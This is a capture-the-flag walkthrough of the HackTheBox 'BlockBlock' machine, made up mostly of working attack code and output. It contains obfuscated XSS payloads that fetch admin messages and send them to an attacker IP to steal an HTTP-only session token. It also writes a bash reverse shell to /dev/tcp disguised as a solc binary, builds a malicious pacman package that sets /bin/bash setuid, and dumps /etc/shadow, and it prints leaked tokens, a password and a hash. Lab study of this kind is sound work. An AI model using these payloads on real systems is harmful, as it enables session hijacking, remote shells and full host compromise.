HackTheBox BlockBlock Writeup
Explore the fundamentals of cybersecurity in the BlockBlock Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.11.43 blockblock.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.43"
domain="blockblock.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
nmap -sCV blockblock.htb
1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for blockblock.htb (10.10.11.43)
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
| 256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_ 256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Home - DBLC
Register in http://10.10.11.43
At the bottom is showed You can review our smart contracts anytime
http://10.10.11.43/api/contract_source
Lets analyze it Note change the token with yours
1
2
3
4
5
token='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxMTg2NCwianRpIjoiMmI0Mjg2YjgtMTBlMC00NzI2LWFkZjgtMDEzNjlmZWMyYmQxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFAYS5hIiwibmJmIjoxNzMyOTExODY0LCJleHAiOjE3MzM1MTY2NjR9.gyVZXeJut3eZj531XhYf8gOVfDGDQC-5fAvpGDWIm6A'
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Database.sol"' > Database.sol
curl 'http://10.10.11.43/api/contract_source' -H "Cookie: token=$token" -s | jq -r '."Chat.sol"' > Chat.sol
cat Database.sol
cat Chat.sol
So reporting a user we can get xxs this is how to test:
1
python -m http.server
1
<img src=x onerror="fetch('http://10.10.14.18:8000/jsw0rks')" />
1
10.10.11.43 - - [29/Nov/2024 21:35:19] "GET /test/ HTTP/1.1" 200 -
The token is HTTP-only, so the key challenge is finding a way to access the content of the admin cookie.
Paste the following in the console to brute-force and retrieve the admin cookie after several retries:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const callback_url = "http://10.10.14.18:8000/";
const delay = millis => new Promise(resolve => setTimeout(resolve, millis));
async function report_user(username) {
try {
await fetch(`${location.origin}/api/report_user`, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({ username }),
});
} catch (error) {
console.error("Error in report_user:", error);
}
}
(async () => {
for (let ff = 0; ff <= 30; ff++) {
for (let ss = 0; ss <= 10; ss++) {
console.log(`1st Payload, Sending total... ${ff}`);
const first_payload = `
<img src=x onerror='eval(atob("ZmV0Y2goIi9hcGkvaW5mbyIsIHsNCgloZWFkZXJzOiB7DQoJCSdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicNCgl9LA0KCW1ldGhvZDogJ0dFVCcsIA0KCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScNCiAgfSkudGhlbihyZXNwb25zZSA9PiB7DQogICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsgDQogIH0pDQogIC50aGVuKGRhdGEgPT4gew0KCQlmZXRjaCgiL2FwaS9zZW5kX21lc3NhZ2UiLCB7DQoJCQloZWFkZXJzOiB7DQoJCQkJJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi9qc29uJw0KCQkJfSwNCgkJCW1ldGhvZDogJ1BPU1QnLCANCgkJCWNyZWRlbnRpYWxzOiAnaW5jbHVkZScsDQoJCQlib2R5OiBKU09OLnN0cmluZ2lmeSh7DQoJCQkJY29udGVudDogYnRvYShlbmNvZGVVUklDb21wb25lbnQoZGF0YSkpDQoJCQl9KQ0KCQl9KQ0KICB9KTs="))' />
`;
await report_user(first_payload);
}
for (let ss = 0; ss <= 10; ss++) {
console.log(`2nd Payload, Sending... ${ff}`);
let seconds_payload = `
async function s(t) {
try {
fetch("${callback_url}?" + btoa(encodeURIComponent(t.toString())));
} catch {}
}
(async () => {
try {
const t = await fetch("/api/recent_messages", {
headers: { "Content-Type": "application/json" },
method: "GET",
credentials: "include",
});
await s(await t.text());
} catch (t) {
await s("ERR");
}
})();
`;
seconds_payload = btoa(seconds_payload);
seconds_payload = `<img src=x onerror='eval(atob("${seconds_payload}"))' />`;
await report_user(seconds_payload);
}
}
})();
https://gchq.github.io/CyberChef
From base64 data
this yelds eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMjkxNTQyMSwianRpIjoiNmM3MGY0NmQtZjNjZC00ZDU4LTk1ZjEtZmQzMjVmNWYxNzMyIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzMyOTE1NDIxLCJleHAiOjE3MzM1MjAyMjF9.dOn0IAcdSMka9sTc_NPu7Bd5-8l0E9oaw_ZHpDWfk04
Set as the cookie token
http://10.10.11.43/admin#users
Open burp and intercept /api/json-rpc
just change method in {"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1",true],"id":1}
Decode from hex the data
keira:SomedayBitCoinWillCollapse
1
ssh keira@blockblock.htb
1
cat user.txt
1
uname -a
Detected 6.9.3-arch1-1
. Using Arch Linux as a server is questionable—better suited for desktops. Feels out of place here. Btw, I’m an archlinux
user :(
. What’s next, Gentoo
or LFS
? <- brainroot :)
.
Listener:
1
nc -lvnp 9001
To Get Paul in 9001:
1
2
3
4
5
sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.18/9001 0>&1' > /dev/shm/solc
cd /dev/shm/exploit
chmod +x ../solc
sudo -u paul /home/paul/.foundry/bin/forge build --use ../solc
To Get Root From Paul in 9001:
1
2
3
4
5
cd /dev/shm
echo -e "pkgname=exp\npkgver=1.0\npkgrel=1\narch=('any')\ninstall=exp.install" > PKGBUILD
echo "post_install() { chmod 4777 /bin/bash; }" > exp.install
makepkg -s
sudo pacman -U *.zst --noconfirm
1
bash -p
1
2
cat /root/root.txt
cat /etc/shadow
This yields $y$j9T$aS1WjBeHOMsj5JDGpOSTR0$eEn9e2kIqFfcRCf79xQw7iLDJbt/ioE793tqS3GnjsC